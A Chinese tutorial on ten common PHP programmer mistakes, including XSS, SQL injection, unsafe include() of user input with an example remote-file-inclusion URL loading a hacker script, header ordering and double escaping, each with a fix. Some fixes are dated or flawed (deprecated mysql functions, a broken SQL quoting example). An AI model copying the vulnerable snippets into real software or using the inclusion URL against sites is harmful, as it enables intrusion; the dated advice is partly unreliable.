Maison php教程 php手册 php 程序员常犯错误总结

php 程序员常犯错误总结

May 25, 2016 pm 04:40 PM
programmeur php

1.不转意html entities

一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据),输出之前都要转意.

echo $_GET['usename'] ;

这个例子有可能输出:

<script>/*更改admin密码的脚本或设置cookie的脚本*/</script>

这是一个明显的安全隐患,除非你保证你的用户都正确的输入.

如何修复:我们需要将"","and" 等转换成正确的HTML表示(', and "),函数htmlspecialchars 和 htmlentities()正是干这个活的.

正确的方法:echo htmlspecialchars($_GET['username'], ENT_QUOTES);

2. 不转意SQL输入

我曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法,有人对我说,他们已经在php.ini中将magic_quotes设置为On,所以不必担心这个问题,但是不是所有的输入都是从$_GET,$_POST或 $_COOKIE中的得到的.

如何修复:和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数,正确做法:

<?php 
$sql = "UPDATE users SET 
name=&#39;.mysql_real_escape_string($name).&#39; 
WHERE id=&#39;.mysql_real_escape_string ($id).&#39;"; 
mysql_query($sql); 
?>
Copier après la connexion

3.错误的使用HTTP-header 相关的函数:header(),session_start(),setcookie()

遇到过这个警告吗?"warning: Cannot add header information - headers already sent [....]

每次从服务器下载一个网页的时候,服务器的输出都分成两个部分:头部和正文。

头部包含了一些非可视的数据,例如cookie,头部总是先到达,正文部分包括可视的html,图片等数据.

如果output_buffering设置为Off,所有的HTTP-header相关的函数必须在有输出之前调用,问题在于你在一个环境中开发,而在部署到另一个环境中去的时候,output_buffering的设置可能不一样,结果转向停止了,cookie和session都没有正确的设置........。

如何修复:确保在输出之前调用http-header相关的函数,并且令output_buffering = Off

4. Require 或 include 的文件使用不安全的数据

再次强调:不要相信不是你自己显式声明的数据,不要 Include 或 require 从$_GET,$_POST 或 $_COOKIE 中得到的文件.例如:index.php

//including header, config, database connection, etc

include($_GET['filename']);

//including footer

现在任一个黑客现在都可以用:http://www.phprm.com/index.php?filename=anyfile.txt 来获取你的机密信息,或执行一个PHP脚本.

如果allow_url_fopen=On,你更是死定了,试试这个输入:

http://www.phprm.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php

现在你的网页中包含了http://www.phprm.com/phphack.php的输出,黑客可以发送垃圾邮件,改变密码,删除文件等等,只要你能想得到.

如何修复:你必须自己控制哪些文件可以包含在的include或require指令中,下面是一个快速但不全面的解决方法:

<?php 
//Include only files that are allowed. 
$allowedFiles = array(&#39;file1.txt&#39;,&#39;file2.txt&#39;,&#39;file3.txt&#39;); 
if(in_array((string)$_GET[&#39;filename&#39;],$allowedFiles)) { 
include($_GET[&#39;filename&#39;]); 
}else{ 
exit(&#39;not allowed&#39;); 
} 
?>
Copier après la connexion

5. 语法错误

语法错误包括所有的词法和语法错误,太常见了,以至于我不得不在这里列出,解决办法就是认真学习PHP的语法,仔细一点不要漏掉一个括号,大括号,分号,引号,还有就是换个好的编辑器,就不要用记事本了.

6.很少使用或不用面向对象

很多的项目都没有使用PHP的面向对象技术,结果就是代码的维护变得非常耗时耗力,PHP支持的面向对象技术越来越多,越来越好,我们没有理由不使用面向对象.

7. 不使用framework

95% 的PHP项目都在做同样的四件事:Create, edit, list 和delete,现在有很多MVC的框架来帮我们完成这四件事,我们为何不使用他们呢?

8. 不知道PHP中已经有的功能

PHP的核心包含很多功能,很多程序员重复的发明轮子,浪费了大量时间,编码之前搜索一下PHP mamual,在google上检索一下,也许会有新的发现,PHP中的exec()是一个强大的函数,可以执行cmd shell,并把执行结果的最后一行以字符串的形式返回,考虑到安全可以使用EscapeShellCmd()

9.使用旧版本的PHP

很多程序员还在使用PHP4,在PHP4上开发不能充分发挥PHP的潜能,还存在一些安全的隐患。转到PHP5上来吧,并不费很多功夫。大部分PHP4程序只要改动很少的语句甚至无需改动就可以迁移到PHP5上来。根据http://www.phprm.com的调查 只有12%的PHP服务器使用PHP5,所以有88%的PHP开发者还在使用PHP4.

10.对引号做两次转意

见过网页中出现'或'"吗?这通常是因为在开发者的环境中magic_quotes 设置为off,而在部署的服务器上magic_quotes =on. PHP会在 GET, POST 和 COOKIE中的数据上重复运行addslashes() 。

原始文本:

It&#39;s a string
magic quotes on :
It&#39;s a string
又运行一次
addslashes():
It&#39;s a string
HTML输出:It&#39;s a string
Copier après la connexion


本文地址:

转载随意,但请附上文章地址:-)

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

AI Hentai Generator

AI Hentai Generator

Générez AI Hentai gratuitement.

Article chaud

R.E.P.O. Crystals d'énergie expliqués et ce qu'ils font (cristal jaune)
2 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Repo: Comment relancer ses coéquipiers
4 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: Comment obtenir des graines géantes
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Combien de temps faut-il pour battre Split Fiction?
3 Il y a quelques semaines By DDD

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Du début à la fin : comment rédiger le CV parfait pour un programmeur PHP Du début à la fin : comment rédiger le CV parfait pour un programmeur PHP Sep 10, 2023 pm 04:21 PM

Comment rédiger un CV de programmeur PHP parfait Dans un marché du travail hautement compétitif, un excellent CV est crucial pour les demandeurs d'emploi. Pour les programmeurs PHP, rédiger un CV parfait est particulièrement important, car le CV n'est pas seulement une fenêtre pour mettre en valeur vos compétences et votre expérience, mais aussi la clé pour attirer l'attention de l'employeur. Cet article expliquera en détail comment rédiger un CV de programmeur PHP parfait du début à la fin. Première étape : Choisissez un modèle de CV concis et attrayant Choisir un modèle de CV concis et attrayant est la première étape dans la rédaction de votre CV.

Améliorez votre taux de réussite dans votre recherche d'emploi : conseils pour rédiger un excellent CV de programmeur PHP Améliorez votre taux de réussite dans votre recherche d'emploi : conseils pour rédiger un excellent CV de programmeur PHP Sep 10, 2023 pm 06:30 PM

Améliorer le taux de réussite dans la recherche d'emploi : conseils pour rédiger un excellent CV de programmeur PHP Dans la société moderne, la recherche d'emploi est devenue une tâche importante à laquelle est confronté chaque diplômé. Lorsqu'il s'agit de postuler à un emploi, votre CV est l'élément le plus important. Un excellent CV peut vous faire gagner un entretien et même déterminer si vous réussirez à obtenir un emploi. Surtout pour un poste hautement compétitif comme celui de programmeur PHP, comment rédiger un CV exceptionnel est devenu une question clé pour tout demandeur d'emploi. Ci-dessous, je partagerai quelques conseils pour rédiger un excellent CV de programmeur PHP.

Comment rédiger un CV de programmeur PHP qui impressionnera les employeurs Comment rédiger un CV de programmeur PHP qui impressionnera les employeurs Sep 08, 2023 am 08:19 AM

Comment rédiger un CV de programmeur PHP qui impressionnera les employeurs. Sur le marché du travail hautement compétitif, il est particulièrement important de rédiger un excellent CV. En tant que programmeur PHP, en plus de votre expérience professionnelle et de vos compétences impressionnantes, un CV doit également refléter votre amour pour la programmation et de solides connaissances professionnelles. Cet article présentera quelques conseils et exemples de code pour vous aider à rédiger un CV de programmeur PHP qui brillera aux yeux des employeurs. Informations personnelles concises et claires La section des informations personnelles de votre CV doit inclure votre nom, vos coordonnées et votre site Web personnel.

Conseils accrocheurs pour un CV de programmeur PHP : comment se démarquer des autres candidats Conseils accrocheurs pour un CV de programmeur PHP : comment se démarquer des autres candidats Sep 12, 2023 am 10:16 AM

Conseils de CV accrocheurs pour les programmeurs PHP : Comment se démarquer des autres candidats Avec le développement rapide de l'industrie Internet, les programmeurs PHP sont également devenus l'un des postes les plus populaires sur le marché du travail. Cependant, de plus en plus de personnes choisissent PHP comme orientation de carrière, ce qui rend la concurrence plus intense. Dans de telles circonstances, comment faire en sorte que votre CV se démarque et devienne populaire aux yeux des employeurs est une question à laquelle tout programmeur PHP doit réfléchir. Tout d’abord, un bon CV doit démontrer vos compétences de manière claire et concise.

La route des programmeurs PHP vers une contre-attaque bien rémunérée La route des programmeurs PHP vers une contre-attaque bien rémunérée Sep 09, 2023 am 09:22 AM

La voie vers une contre-attaque bien rémunérée pour les programmeurs PHP Avec le développement rapide d'Internet, la demande dans le domaine de l'informatique continue d'augmenter. À cette époque, les personnes ayant besoin de compétences en programmation sont les plus demandées. En tant que langage de programmation couramment utilisé, PHP offre aux programmeurs une voie de contre-attaque très payante. Cet article présentera comment les programmeurs PHP peuvent évoluer vers une contre-attaque bien rémunérée en apprenant PHP et les technologies associées, et joindra quelques exemples de code. 1. Maîtrisez les connaissances de base de PHP Pour devenir un excellent programmeur PHP, vous devez d'abord maîtriser les connaissances de base de PHP.

Explorez les conseils de rédaction : comment rédiger un CV de programmeur PHP convaincant Explorez les conseils de rédaction : comment rédiger un CV de programmeur PHP convaincant Sep 09, 2023 pm 04:09 PM

Explorez les conseils de rédaction : Comment rédiger un CV de programmeur PHP convaincant Dans le marché du travail compétitif d'aujourd'hui, un CV convaincant est particulièrement important pour les programmeurs PHP. Un bon CV attire non seulement l'attention de l'employeur, mais met également en valeur vos compétences et votre expérience. Cet article explorera quelques conseils de rédaction pour vous aider à rédiger un excellent CV de programmeur PHP, complété par des exemples de code mettant en valeur vos capacités professionnelles. Format concis et clair Le format de votre CV doit être concis et clair, permettant aux employeurs de numériser rapidement vos informations pertinentes.

L'étape clé pour se connecter avec les RH : comment refléter votre valeur dans votre CV de programmeur PHP L'étape clé pour se connecter avec les RH : comment refléter votre valeur dans votre CV de programmeur PHP Sep 08, 2023 am 11:30 AM

L'étape clé pour se connecter avec les RH : comment refléter votre valeur dans votre CV de programmeur PHP. Les RH évaluent et sélectionnent les candidats à travers leurs CV lors d'un coup d'œil chargé mais bref pendant le processus de recrutement. Pour vous démarquer de la foule des demandeurs d'emploi et attirer l'attention des RH, vous devez démontrer votre valeur et vos capacités dans votre CV. Pour les programmeurs PHP, il est crucial de mettre en valeur leurs prouesses techniques et leur expérience projet dans leur CV. Voici quelques éléments clés et comment démontrer votre valeur à travers des exemples de code. Liste des compétences techniques dans la section compétences de votre CV

Améliorez votre profil : comment rédiger un CV de programmeur PHP qui vous démarque Améliorez votre profil : comment rédiger un CV de programmeur PHP qui vous démarque Sep 10, 2023 pm 05:12 PM

Dans le marché du travail hautement compétitif d'aujourd'hui, comment se démarquer de la foule des demandeurs d'emploi est devenu une question très importante. Surtout pour les programmeurs PHP, un bon CV peut directement affecter votre capacité à obtenir un entretien. Cet article vous donnera une introduction détaillée sur la façon de rédiger un CV de programmeur PHP qui vous démarquera. Tout d'abord, un bon CV doit contenir les éléments importants suivants : informations personnelles, intention d'emploi, formation, expérience professionnelle, compétences et expertise, et expérience de projet personnel. Nous y allons partie par partie

See all articles